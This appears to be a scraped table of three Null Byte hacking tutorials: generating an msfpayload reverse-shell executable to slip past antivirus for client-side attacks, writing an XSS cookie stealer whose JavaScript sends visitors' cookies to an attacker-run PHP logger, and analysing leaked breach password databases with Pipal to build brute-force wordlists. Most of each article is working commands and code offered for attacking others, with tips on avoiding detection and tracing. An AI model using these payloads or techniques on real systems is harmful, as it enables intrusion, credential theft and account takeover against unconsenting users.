title
stringlengths
30
147
content
stringlengths
17
61.4k
Hack Like a Pro: How to Bypass Antivirus Software by Disguising an Exploit's Signature « Null Byte :: WonderHowTo
Welcome back my fellow hackers!In my last few articles, I've concentrated on what is called alistener, which is basically the same thing asbackdoorandrootkit, only "listener" sounds much less malevolent than the other two terms.First, I covered embedding a listener in aMicrosoft Office document(Excel, PowerPoint, Word, etc.), then in anAdobe Reader PDF file. In both cases, when the victim opens the file, a small program runs in the background that allows us to connect to their system and control it.The ProblemThe only possible hitch in this scenario is that the victim's antivirus program is activated, is up to date, and detects our little program. In that case, the victim is unlikely to open the file and we don't get to play. But, in this lesson, I'll show you how to morph the listener so that the victim's antivirus software is unlikely to detect it.All antivirus software is based upon the very simple idea of malware signatures. What this means is that the antivirus software publishers simply keep track of what the malicious software looks like—when your AV software updates each day, it picks all new signatures. When it detects something that looks like one of these signatures, they alert the user and quarantine the malicious software.The ExploitFortunately for us, we can essentially change the signature of our malicious software without changing what it does. We simply re-code in a way that the AV software doesn't have a signature of. Pretty simple, wouldn't you say?Okay. Once again, fire up your BackTrack andMetasploitand let's get working on some metamorphosis.Step 1: Explore MsfpayloadLet's start by exploringmsfpayloadas part of the Metasploit suite. By typing msfpayload with the –h switch, we can get the help screen on this module.msfpayload -hNotice in the screenshot above that the syntax for this module includes options, the payload, and then several values that enable us to encode the payload using various programming languages including C, Perl, Ruby, Raw, VBA and others.Msfpayload enables us to convert the code of the payload into any of these choices and thereby better evade the victim's AV software.Step 2: Generate a Custom PayloadLet's proceed to generate a customized payload in C.msfpayload windows/shell/reverse_tcp -oNotice that we used the –o option and Metasploit displays our various options. To generate the the customized payload we need to pass the options to Metasploit, in this case the LHOST and the LPORT. Let's set those to our machine 192.168.100.1 and the LPORT to 4441.We need to now generate a custom payload in C by typing:msfpayload windows/shell/reverse_tcp LHOST=192.168.100.1 LPORT=4441 CNotice that we appended the command with a capital C to indicate that we wanted the payload to be generated in C. As you can see from screenshot above, Metasploit generated the payload in C and displayed it to us.Step 3: Generate the Binary CodeFinally, we need to generate a binary executable for the shellcode which can use in our client side attack.msfpayload windows/shell/reverse_tcp LHOST=192.168.100.1 X > setup.exeWe have now created an executable file by using theXoption and then sent this file to the current folder and named the filesetup.exe. We can now use this new payload in a client-side attack and the victim's AV software will be unlikely to have a signature for it, allowing us to stealthily place this backdoor/listener on their system.And that's it! Stay tuned for my next lesson, where we'll explore ways to disable the client AV software altogether.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byTechnicalinfoRelatedHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 1Hack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)How To:Bypass Antivirus Using Powershell and Metasploit (Kali Tutorial)Hacking macOS:How to Create an Undetectable PayloadHack Like a Pro:How to Evade AV Software with ShellterBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hacking Windows 10:How to Capture Keystrokes & Passwords RemotelyHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 3 (Creating a Malware Signature in ClamAV)News:Chinese Hack of U.S. Employment Records Reveals the Weakness of Signature-Based Defense SystemsHow To:The Ultimate Guide to Hacking macOSPasscode Exploit:How to Bypass the Lock Screen on an iPhone Running iOS 6.1Hack Like a Pro:How to Evade AV Detection with Veil-EvasionHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Remove the Palladium Pro rogue malware from your computerHow To:Remove Antivirus Pro from your computer with SpyhunterHow To:Remove AntiVirus Pro from your computerHow To:How Hackers Stole Your Credit Card Data in the Cyber Attack on Target StoresHack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Antivirus Bypass:Friendly Reminder to Never Upload Your Samples to VirusTotalHow To:Creating a (Almost) Fully Undetectable EXE Using Kali & GCCHow To:Run an VNC Server on Win7Hack Like a Pro:How to Fingerprint Web Servers Using HttprintHow To:Check if Third-Party Apps Are Safe to Install on Your MacHack Like a Pro:The Hacker MethodologyLockdown:The InfoSecurity Guide to Securing Your Computer, Part IHow To:The Hacks Behind Cracking, Part 1: How to Bypass Software RegistrationHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Bypass a Local Network Proxy for Free InternetNews:Show off your disguises!
How to Write an XSS Cookie Stealer in JavaScript to Steal Passwords « Null Byte :: WonderHowTo
JavaScript is one of the most common languages used on the web. It can automate and animate website components, manage website content, and carry out many other useful functions from within a webpage. The scripting language also has many functions which can be used for malicious purposes, including stealing a user's cookies containing passwords and other information.Cookies are information which a website requests or maintains regarding specific users which visit the page. These cookies contain information about how and when they visit, as well as authentication information for the site such as usernames and passwords. As these cookies must be in use whenever a visitor is active on a given website, an attacker who can intercept them can steal this information and use it to impersonate or catalog information about specific users.It's possible to utilize JavaScript in order to save or modify a user's cookies for a given domain. While this is usually applied in order to create and use cookies for interactive web development, if an attacker is able to maliciously view the same cookies, it becomes a valuable hacking technique. JavaScript-based attacks are especially effective when combined with tactics like code injection, as it allows malicious code to be executed on what appears to be an otherwise trusted website.While we don't advocate stealing anyone's passwords, this guide is a must-know topic for any pentester or IT security professional to understand. If you don't know how black hat hackers do things, you'll never be able to catch them.Don't Miss:How to Hack Web Browsers with BeEFStep 1: Creating an HTML Test PageIn order to steal cookies, a cookie must first be available on the web domain the user is viewing. This happens whenever the user views the website. While it's absolutely possible to inject JavaScript into websites using a man-in-the-middle attack, or by exploiting a vulnerable website, both of these would require additional effort to implement.The test environment for our cookie will be within a fairly standard HTML index page. We will be able to embed all of our JavaScript elements inline. First, create a new directory to contain the HTML file. On a Linux or macOS system, we can usemkdir, as seen below.mkdir cookiestealerWe can move into this directory withcdcommand, as in this example.cd cookiestealerOnce we're in this folder, we can create our index file with touch by typing the following into a terminal window.touch index.htmlNext, we'll edit this index file too. First, open the file in nano.nano index.htmlAdd the basic HTML opening and closing tags needed. In this case, we only need "html" and "body" tags as no "head" elements are needed to test JavaScript. The file should now look similar to below.<html><body></body></html>We can save this file by pressingCtrl+Oin nano. At this point, if opened in a web browser, our page will be blank. We can add a title element or some basic HTML content, or even add our scripting elements to any web page we've created, but for testing purposes, this will be sufficient.Don't Miss:How to Conduct a Simple Man-in-the-Middle AttackStep 2: Creating a CookieWe can create a basic parameter inserted within a cookie by using only a single string. This cookie will only exist within this page, and similarly, the technique used to dump cookies later will apply to any cookie being stored within the page on which the script is run or injected.<script type="text/javascript">document.cookie = "username=Null Byte";</script>This script should be inserted within the "body" section of the HTML file, as seen below.If the webpage with this script is opened, a cookie will be set, but nothing will be visible in the browser. We can dump the cookie directly into the page itself using the "document.write" function. This won't be of any use for exporting the cookies without a potential user's knowledge, but it can help us understand the format in which the cookie writing technique works. We can add the following line to our script to test this.document.write(document.cookie);Our script should now look similar to the example below.<script type="text/javascript">document.cookie = "username=Null Byte";document.write(document.cookie);</script>When opened in a browser, it should look similar to the image below.We've now successfully set "username=Null Byte" as a cookie for this page. We can now remove the "document.write(document.cookie);" function of the script, as we are instead going to forward the cookies retrieved from the targeted user's page to an independent, offsite page on which they can be written and stored by us.Step 3: Stealing Cookies Using JavaScriptThe JavaScript string we'll use to pass cookies to a server where we can write them to will once again utilize the document.cookie parameter, however, it will be instead passed inline with a URL as defined in document.location.document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;In this example, the PHP file is located on the local machine, or localhost, at 127.0.0.1. In an actual deployment of this technique, it should point towards a file hosted on a web server which can be resolved to outside of the local network or local machine.If one was targeting a social media website, the script would be injected within that site, and the cookies which are stolen would be sent to an IP or URL of a server controlled by the hacker.Don't Miss:How Null Byte Injections WorkFor testing purposes, we will be able to host the file locally using PHP's test server module.We can enclose this JavaScript within script tags, as seen below, on the same HTML page on which we defined a sample cookie.<script type="text/javascript">document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;</script>The HTML page code should now look similar to the image below.This JavaScript is enough to annex a cookie to a request sent to a PHP URL, and as such is actually the entirety of the JavaScript needed for this function. The rest of the processing of the cookie needs to be handled by PHP.Step 4: Processing Cookies with PHPWe are able to control what we do with the cookie and where we direct the user who has had their cookies stolen from within the PHP file, defined in the JavaScript string. In the example above, the name of this PHP file was cookiestealer.php, and it was located on the local system at 127.0.0.1.This is sufficient for a test deployment, but in a real-world scenario the PHP file would be better served with a less obvious name and located at an external IP or URL.First, create a new PHP file in the same directory as the index.html file. You can do so by typing the following command.nano cookiestealer.phpAfter adding PHP opening and closing brackets, the first element we'll want to define is redirect location, as seen in this example.<?phpheader ('Location:https://google.com');?>We define this as the "Location" following the "header," in this case "https://google.com." It can be set to whatever you choose, so long as it's an address which can be handled by a web browser. To limit the risk of a user becoming aware of an attack, it would be best to redirect them to a relevant page on the same domain, such that they are not alarmed, or become stuck in an infinite loop of the script running over and over.With the user redirection established, we can add additional code to process the cookie. First, we'll assign the cookie as carried by the URL to a variable.$cookies = $_GET["c"];Next, we'll define the file to which the cookies will be saved to on the server which we control. In the example below, the file is named "log.txt."$file = fopen('log.txt', 'a');Lastly, we'll combine the variables defined in the above two strings in order to write the variable's content, the cookie, to our log file.fwrite($file, $cookies . "\n\n");Our code should now appear similar to the image below.With this file saved, we're ready to prepare a test environment for the PHP code.Step 5: Testing the Cookie StealerThe version of PHP available on most Linux distributions and Unix-like operating systems includes a test server. This server module is small, limited, and not suitable for live deployments, but is very lightweight and effective for testing PHP code.Don't Miss:How To Use JavaScript Injections to Locally Manipulate the Websites You VisitFrom within the same directory as our index.html and cookiestealer.php files, we can launch a PHP test server from the command line by typing the following.php -S 127.0.0.1:80This test server now allows us to test our page by simply opening "127.0.0.1" within a web browser on the same machine.After opening this page, our browser will most likely almost immediately resolve to the website we defined as a redirect, in this case Google.If we take a look at our PHP server log, we'll notice that an argument was passed to our PHP file and our PHP code was executed.Finally, we'll be able to retrieve the cookies by checking the "log.txt" file which now exists in our site directory. We can view this by using cat in the command line.cat log.txtIf the log contains the contents of our cookie, in this case "username=Null Byte," then we have successfully stolen cookies using JavaScript!Step 6: Deploying the AttackThis attack is extremely valuable for doing damage and gaining user credentials in any scenario where you're able to inject code on a site where users may be using cookies. Cookies often contain important user information in plaintext, and many times contain private keys which can be used to impersonate or log on as the user.This attack could be injected anywhere which an HTML script tag could be inserted. A popular test method to test web forms for XSS vulnerability is using a simple "alert" string such as the one below.<script>alert("Alert");</script>This script will simply attempt to open an alert box such as the example below. If it opens, the website is vulnerable to XSS.Don't Miss:How to Hack Forum Accounts with Password-Stealing PicturesIn a live attack, a hacker would be careful with the way in which the PHP script is hosted. If done improperly, the origin of the PHP file could be easily traced back to the hacker. If a tactic such as this is detected, in order to identify an attacker, it would be useful to attempt to seek information on where stolen cookies are being sent and stored.This method demonstrates just how powerful JavaScript can be as an attack tool. While it's very useful for making the web more convenient, if a website is vulnerable to malicious JavaScript injection it can be present a big risk to the site and it's users. The burden of responsibility for preventing XSS attacks lies on web developers creating secure websites. You can also check out our guide topreventing XSS attacks. If a user does not trust the scripts being run on a website, they can block them using a web browser addon such asNoScript.I hope you enjoyed this article on stealing cookies! If you have any questions or comments about the article, leave them below or reach me on [email protected] Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Takhion/Null ByteRelatedHow To:Hack websites using cross-site scripting (XSS)How To:Hack Forum Accounts with Password-Stealing PicturesHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHow To:Beginner's Guide to OWASP Juice Shop, Your Practice Hacking Grounds for the 10 Most Common Web App VulnerabilitiesHow To:Hack a remote Internet browser with XSS ShellHow To:Advanced Techniques to Bypass & Defeat XSS Filters, Part 1Exploiting XSS with BeEF:Part 2How To:Advanced Techniques to Bypass & Defeat XSS Filters, Part 2How To:Enable the New YouTube Player Interface with Transparent Video ControlsHow To:Enable JavaScript and Cookies in OperaHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)Forbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Reveal Saved Browser Passwords with JavaScript InjectionsNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingHow To:XSS BonusesNews:Get YouTube's New Layout Today with a Simple JavaScript HackGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingNews:The Homepage of jQueryNews:Color Your LifeHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItHow To:Carve Saved Passwords Using CainHow To:Get the New Google Navigation MenuHow To:Permanently Delete Files to Protect Privacy and PasswordsHow To:JavaScript Codecademy TutorialNews:Remote Chrome Password StealerSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Fun Way to Learn JavaScript Basics!How To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block It
How to Use Leaked Password Databases to Create Brute-Force Wordlists « Null Byte :: WonderHowTo
To name just a few companies,VK,µTorrent, andClixSenseall suffered significant data breaches at some point in the past. The leaked password databases from those and other online sites can be used to understand better how human-passwords are created and increase a hacker's success when performing brute-force attacks.In other articles, we'll cover generating wordlists for use in password-cracking. But here, we'll learn how to create wordlists of statistical complexity and length based on actual passwords found in database leaks that occurred in recent years. Understanding how average, every-day people think about passwords will aid hackers during password-guessing attacks and greatly increase the statical probability of the success of the brute-force attacks.Don't Miss:The Terms & Technologies You Need to Before Hacking DatabasesDisclaimerThe leaked databases featured in this article were obtained using public and darknet resources. The databases are all at least four years old. This was intentional and would ensure that this article would harm no victim of these leaks as they've had an opportunity to reset their passwords. Also, passwords used in 2016 would still provide excellent datasets for understanding how people create passwords today.What Makes a Good Password List?Realistically, it's not possible to brute-force an SSH service or web login with a list of five million passwords. An attack like that would set off all kinds of alarms and take an incomprehensible amount of time to complete.Some may believe that massive, comprehensive, 100 GB wordlists are common and often utilized by hackers. However, we'll learn that small targeted and fine-tuned wordlists will usually get the job done while avoiding detection. Thequality(or commonness) of the passwords takes priority over the length of the wordlist.What Is Pipal?Pipal, created byDigininja, a well-known hacker incybersecurity circles, is a password analyzer which curates password list statistics. Pipal is capable of identifying the most common digits appended to passwords, the most common length of passwords, the most common passwords found in the databases, and much more.This data is valuable to hackers looking to improve the strength of their wordlists and increase the likeliness of success when performing brute-force attacks. Below is an example of Pipal's output (the top 35 passwords) after analyzing theµTorrent hack, which consisted of nearly 400,000 passwords.Don't Miss:How to Extract Data from Online Databases Using Sqlmap123456 = 386 (0.11%) forum123 = 152 (0.04%) password = 116 (0.03%) utorrent = 94 (0.03%) qwerty = 71 (0.02%) 12345678 = 57 (0.02%) 123456789 = 57 (0.02%) 111111 = 46 (0.01%) 123123 = 37 (0.01%) Mykey2012 = 35 (0.01%) abc123 = 30 (0.01%) 000000 = 27 (0.01%) trustno1 = 26 (0.01%) letmein = 26 (0.01%) torrent = 24 (0.01%) qazwsx = 24 (0.01%) Mykey2011 = 23 (0.01%) 1234 = 21 (0.01%) 666666 = 20 (0.01%) shadow = 19 (0.01%) 12345 = 19 (0.01%) 1234567 = 19 (0.01%) 1q2w3e4r = 19 (0.01%) dragon = 18 (0.0%) fuckyou = 18 (0.0%) Paperindex1* = 18 (0.0%) abcd1234 = 16 (0.0%) matrix = 15 (0.0%) 123321 = 15 (0.0%) 1234567890 = 15 (0.0%) master = 14 (0.0%) monkey = 14 (0.0%) 123qwe = 14 (0.0%) jackass = 13 (0.0%) killer = 13 (0.0%)Continue below the Cyber Weapons Lab video to see how to install and use Pipal, enable modules, and analyze password lists. You could also watch the Null Byte video and follow along with my guide simultaneously, if that helps.Step 1: Install or Update Ruby & GitRuby version 2.5 or later is required to use Pipal. If you think you have Ruby already, you can see which version you have withruby -v.~$ ruby -v ruby 2.4.8 (2019-10-01 revision 026ee6f091) [x86_64-linux-gnu]If you don't have it or it's outdated, you'll need to install or update it. You'll also need Git, which is required to clone the GitHub repository. The below command can be used to install or update both.~$ sudo apt install ruby2.7 git [sudo] password for null byte: Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: git-man Suggested packages: git-daemon-run | git-daemon-sysvinit git-doc git-el git-email git-gui gitk gitweb git-cvs git-mediawiki git-svn The following packages will be upgraded: git git-man ruby2.7 3 upgraded, 0 newly installed, 0 to remove and 853 not upgraded. Need to get 9,151 kB of archives. After this operation, 2,443 kB of additional disk space will be used. Do you want to continue? [Y/n] y Get:1 http://kali.download/kali kali-rolling/main amd64 git amd64 1:2.27.0-1 [6,707 kB] Get:2 http://kali.download/kali kali-rolling/main amd64 git-man all 1:2.27.0-1 [1,774 kB] Get:3 http://kali.download/kali kali-rolling/main amd64 ruby2.7 amd64 2.7.1-3 [670 kB] Fetched 9,151 kB in 2s (5,301 kB/s) Reading changelogs... Done (Reading database ... 377124 files and directories currently installed.) Preparing to unpack .../git_1%3a2.27.0-1_amd64.deb ... Unpacking git (1:2.27.0-1) over (1:2.26.2-1) ... Preparing to unpack .../git-man_1%3a2.27.0-1_all.deb ... Unpacking git-man (1:2.27.0-1) over (1:2.26.2-1) ... Preparing to unpack .../ruby2.7_2.7.1-3_amd64.deb ... Unpacking ruby2.7 (2.7.1-3) over (2.7.0-4) ... Setting up ruby2.7 (2.7.1-3) ... Setting up git-man (1:2.27.0-1) ... Setting up git (1:2.27.0-1) ... Processing triggers for man-db (2.9.1-1) ... Processing triggers for kali-menu (2020.2.2) ...Step 2: Install PipalPipal can be found inKali, but it's a slightly older version which doesn't support all of the available features and should be removed to avoid any confusion.~$ sudo apt autoremove pipal Reading package lists... Done Building dependency tree Reading state information... Done The following packages will be REMOVED: kali-linux-default pipal 0 upgraded, 0 newly installed, 2 to remove and 856 not upgraded. After this operation, 198 kB disk space will be freed. Do you want to continue? [Y/n] y (Reading database ... 377177 files and directories currently installed.) Removing kali-linux-default (2020.1.13) ... Removing pipal (3.1-0kali0) ... Processing triggers for kali-menu (2020.2.2) ...Next, clone thePipal GitHub repository.~$ git clone https://github.com/digininja/pipal.git Cloning into 'pipal'... remote: Enumerating objects: 4, done. remote: Counting objects: 100% (4/4), done. remote: Compressing objects: 100% (4/4), done. remote: Total 582 (delta 0), reused 1 (delta 0), pack-reused 578 Receiving objects: 100% (582/582), 158.46 KiB | 1.82 MiB/s, done. Resolving deltas: 100% (349/349), done.Use thecdcommand to change into the newly created Pipal directory.~$ cd pipalWhen using Pipal, be sure to use Ruby 2.5 or later, which you should have installed or updated in Step 1. To view the available Pipal options, use the--helpargument.~/pipal$ ruby2.7 pipal.rb --help pipal 3.1 Robin Wood ([email protected]) (http://digi.ninja) Usage: pipal [OPTION] ... FILENAME --help, -h, -?: show help --top, -t X: show the top X results (default 10) --output, -o <filename>: output to file --gkey <Google Maps API key>: to allow zip code lookups (optional) --list-checkers: Show the available checkers and which are enabled --verbose, -v: Verbose FILENAME: The file to countStep 3: Enable Pipal Checker Modules (Optional)Checkersare the modules that perform the actual analysis. The available modules can be found in the pipal/checkers_available directory.~/pipal$ ls checkers_available AU_place_checker.rb FR_colour_checker.rb basic.rb FR_date_checker.rb BR_area_codes_checker.rb FR_emotion_checker.rb BR_soccer_teams_checker.rb frequency.rb date_checker.rb FR_family_checker.rb DE_colour_checker.rb FR_hashcat_mask_generator.rb DE_emotion_checker.rb FR_season_checker.rb DE_family_checker.rb FR_windows_complexity_checker.rb DE_religion_checker.rb hashcat_mask_generator.rb DE_road_checker.rb NL_colour_checker.rb DE_season_checker.rb NL_date_checker.rb DE_sport_checker.rb NL_season_checker.rb DE_vehicle_checker.rb PTBR_colour_checker.rb email_names.rb PTBR_date_checker.rb EN_colour_checker.rb PTBR_emotion_checker.rb EN_emotion_checker.rb PTBR_explicit_checker.rb EN_explicit_checker.rb PTBR_family_checker.rb EN_family_checker.rb PTBR_religion_checker.rb EN_military_checker.rb PTBR_season_checker.rb EN_religion_checker.rb RU_russia_cities_checker.rb EN_road_checker.rb special_checker.rb EN_season_checker.rb US_area_codes_checker.rb EN_sport_checker.rb usernames.rb EN_vehicle_checker.rb US_state_checker.rb EN_violence_checker.rb US_zip_codes_checker.rb external_list_checker.rb windows_complexity_checker.rb FR_area_codes.rbAlternatively, the modules can be viewed using the--list-checkerscommand. If you get any errors after running this command, it's likely that something is missing or not fully updated in your Ruby version, but it should show you thegemcommand to install it.~/pipal$ ruby2.7 pipal.rb --list-checkers Error: levenshtein gem not installed use: "gem install levenshtein-ffi" to install the required gem ~/pipal$ sudo gem install levenshtein-ffi [sudo] password for nullbyte: Fetching levenshtein-ffi-1.1.0.gem Building native extensions. This could take a while... Successfully installed levenshtein-ffi-1.1.0 Parsing documentation for levenshtein-ffi-1.1.0 Installing ri documentation for levenshtein-ffi-1.1.0 Done installing documentation for levenshtein-ffi after 0 seconds 1 gem installed ~/pipal$ ruby2.7 pipal.rb --list-checkers /home/nullbyte/pipal/checkers_available/FR_colour_checker.rb:11: warning: key "ocre" is duplicated and overwritten on line 11 pipal 3.1 Robin Wood ([email protected]) (http://digi.ninja) You have the following Checkers on your system ============================================== Australia_Checker - List of Australian places BR_Area_Code_Checker - List of Brazil area codes BR_Soccer_Teams_Checker - List of Brazilian Soccer Teams Basic_Checker - Basic Checks - Enabled Colour_Checker - List of common English colours DE_Colour_Checker - List of common German colours DE_Emotion_Checker - List of German emotional terms DE_Family_Checker - List of German family terms DE_Religion_Checker - List of German religious terms DE_Road_Checker - List of German road terms DE_Season_Checker - List of common German seasons DE_Sport_Checker - List of German sport terms DE_Vehicle_Checker - List of common vehicle manufacturers and models Date_Checker - Days, months and years Email_Checker - Compare email addresses to passwords. Checks both name and full address. Emotion_Checker - List of English emotional terms Explicit_Checker - List of English explicit terms External_List_Checker - Check an external file for matches FR_Colour_Checker - List of common French colours FR_Date_Checker - French day, month and year checker FR_Emotion_Checker - List of French emotional terms FR_Family_Checker - List of French family terms FR_Hashcat_Mask_Generator - Hashcat mask generator (French) FR_Season_Checker - List of common French seasons FR_Windows_Complexity_Checker - Check for default Windows complexity (French) FR_area_Code_Checker - List of French area codes Family_Checker - List of English family terms Frequency_Checker - Count the frequency of characters in each position, output as either CSV or text Hashcat_Mask_Generator - Hashcat mask generator Military_Checker - List of English military terms NL_Colour_Checker - List of common dutch colours NL_Date_Checker - Dutch day, month and year checker NL_Season_Checker - List of common Dutch seasons PTBR_Date_Checker - Brazilian Portuguese day, month and year checker PTBR_Emotion_Checker - List of Brazilian Portuguese emotional terms PTBR_Explicit_Checker - List of Brazilian Portuguese explicit terms PTBR_Family_Checker - List of Brazilian Portuguese family terms PTBR_Religion_Checker - List of Brazilian Portuguese religious terms PTBR_Season_Checker - List of common Brazilian Portuguese seasons Religion_Checker - List of religious terms Road_Checker - List of English road terms Russian_Cities_Checker - List of common Russian cities Season_Checker - List of common English seasons Special_Checker - No description given Sport_Checker - List of English sport terms US_Area_Code_Checker - List of US area codes US_State_Checker - List of United States states US_Zip_Code_Checker - List of US zip codes Username_Checker - Compare usernames to passwords. Vehicle_Checker - List of common vehicle manufacturers and models Violence_Checker - List of English violent terms Windows_Complexity_Checker - Check for default Windows complexityBy default, Pipal will analyze password lists and display tons of useful information using the basic.rb (Basic_Checker) module. However, to enhance Pipal's analysis capabilities, copy the desired modules from pipal/checkers_available directory to the pipal/checkers_enabled directory.Don't Miss:How to Install RVM to Maintain Ruby Environments in macOSI recommend enabling the modules that start with "EN_," which will enumerate the most popular religious terms, explicit terms, colors, vehicles, and more. Keep in mind, using many modules will increase the duration of the analysis. In some cases, where large (1 GB) wordlists were analyzed, Pipal would crash and fail to complete the analysis.Tosymbolically linka single module to the pipal/checkers_enabled directory, use the below command, replacing the .rb file with the one you want to use./pipal$ ln -s checkers_available/EN_emotion_checker.rb checkers_enabledTo symlink all of the "EN_" modules, use the below command. The wildcard (*) tells thelncommand to symbolically linkanyfile starting with "EN_" to the pipal/checkers_enabled directory./pipal$ ln -s checkers_available/EN_* checkers_enabledStep 4: Analyze Password ListsLooking back at the available options again, there are two primary arguments which are always used.~/pipal$ ruby2.7 pipal.rb --help pipal 3.1 Robin Wood ([email protected]) (http://digi.ninja) Usage: pipal [OPTION] ... FILENAME --help, -h, -?: show help --top, -t X: show the top X results (default 10) --output, -o <filename>: output to file --gkey <Google Maps API key>: to allow zip code lookups (optional) --list-checkers: Show the available checkers and which are enabled --verbose, -v: Verbose FILENAME: The file to countBy default, Pipal will only display the top 10 most common statistics. This default value is a bit low, so the--topargument should be used to increase that value. In all my below password analyses, the top 500 passwords were displayed. The--outputargument is used to specify the file path and directory where the analyzed data is saved.Using Pipal is very simple. Type the below command into a terminal to start analyzing password lists. Both files are text files, but you could use "txt" if you wanted, and both of their names can be customized too. I'm using "results.pipal" and "password.list" variations in my "dumps" folder in my home directory.~/pipal$ ruby2.7 pipal.rb --top 500 --output ../dumps/results.pipal ../dumps/password.list Generating stats, hit CTRL-C to finish early and dump stats on words already processed. Please wait... Processing: 100$ |oooooooooooooooooooooooooooo | ETA 00:00:00Wordlists that contain millions of passwords can take several minutes (up to an hour) for Pipal to analyze thoroughly. Complete details of all the Pipal analyses featured in this article can be found onmy GitHub.Example 1: 000webhost.com Password Analysis000webhostis a free web hosting service that caters to millions of users worldwide. The000webhost.com hackoccurred in 2015, making this database about five years old. However, it offered a large dataset of over 13 million passwords, so it seemed appropriate to include it in this article.~/pipal$ ruby2.7 pipal.rb --top 500 --output ../dumps/analysis/000webhost.com.pipal ../dumps/000webhost.com_2015_password.list Generating stats, hit CTRL-C to finish early and dump stats on words already processed. Please wait... Processing: 100% |oooooooooooooooooooooooooooo | ETA 00:00:00After analyzing the 000webhost password list, here's what I found:Password LengthMost passwords were only eight-characters long, accounting for 34% of all the unique passwords found in the password wordlist. Roughly 20% of passwords were only seven or six characters long — which is astonishingly low.8 = 67313 (34.58%) 6 = 33392 (17.15%) 9 = 29588 (15.2%) 7 = 24916 (12.8%) 10 = 23994 (12.33%)Don't Miss:Principles & Technologies for Cracking PasswordsThis information is valuable to hackers as it indicates that most wordlists designed for remote brute-force attacks only need to be six to eight characters long to cover roughly 50% of all password lengths. A patient hacker would include nine- and ten-character passwords to get closer to 90% effectiveness, but that may not be required in most cases.Appended DigitsIt's not uncommon for people to add a number or two to the end of their passwords, e.g., password123. Over 25% of all passwords were found to have one or two digits appended to the password. Two-digit numbers were the most common with 16 percent.Single digit on the end = 22,230 (11.42%) Two digits on the end = 31,214 (16.03%) Three digits on the end = 18,447 (9.48%)The most common single digit appended to a password was the number "1," being used 24,214 times and accounting for over 12% of all passwords. It was followed closely by the number "3," appended 16,362 times or nearly one out of every 11 passwords.1 = 24,214 (12.44%) 3 = 16,362 (8.41%) 2 = 11,650 (5.98%) 0 = 9,687 (4.98%) 4 = 8,671 (4.45%)The most common two digits appended to a password was the number "23;" appended 9,054 times, only four percent.23 = 9,054 (4.65%) 12 = 3,822 (1.96%) 01 = 3,629 (1.86%) 11 = 3,089 (1.59%) 00 = 2,791 (1.43%)The most common three digits appended to a password was the number "123;" again, just over four percent.123 = 7,938 (4.08%) 456 = 2,143 (1.1%) 234 = 1,644 (0.84%) 000 = 935 (0.48%) 007 = 635 (0.33%)The numbers 1, 3, 2, 23, 12, 123, and 456 were appended to over 33% (75,000+) of all passwords. It almost doesn't make sense to include other appendages in brute-force wordlists. Statistically speaking, other numbers appear too infrequently to warrant inclusion.Special CharactersWith the "@" special character only being included in 0.8% of all passwords, it's safe to omit passwords containing special characters (or "1337 Speak") from brute-force wordlists. A patient hacker who wishes to create a comprehensive wordlist may consider including some of the top three special characters. Adversely, someone hoping to protect their account from brute-force attacks may want to include a special character in their (probably weak) password.@ = 1,614 (0.83%) . = 881 (0.45%) # = 780 (0.4%)Don't Miss:How to Use CUPP to Generate Password ListsTop 25 PasswordsAnyone familiar with password lists won't be surprised to see "123456" is the most common password having been used to secure 783 different accounts. "Abcdef123" and "a123456" follow closely behind with both used over 500 times each.123456 = 783 (0.4%) Abcdef123 = 608 (0.31%) a123456 = 580 (0.3%) little123 = 468 (0.24%) nanda334 = 391 (0.2%) N97nokia = 367 (0.19%) password = 315 (0.16%) Pawerjon123 = 275 (0.14%) 421uiopy258 = 230 (0.12%) MYworklist123 = 182 (0.09%) 12345678 = 175 (0.09%) qwerty = 169 (0.09%) 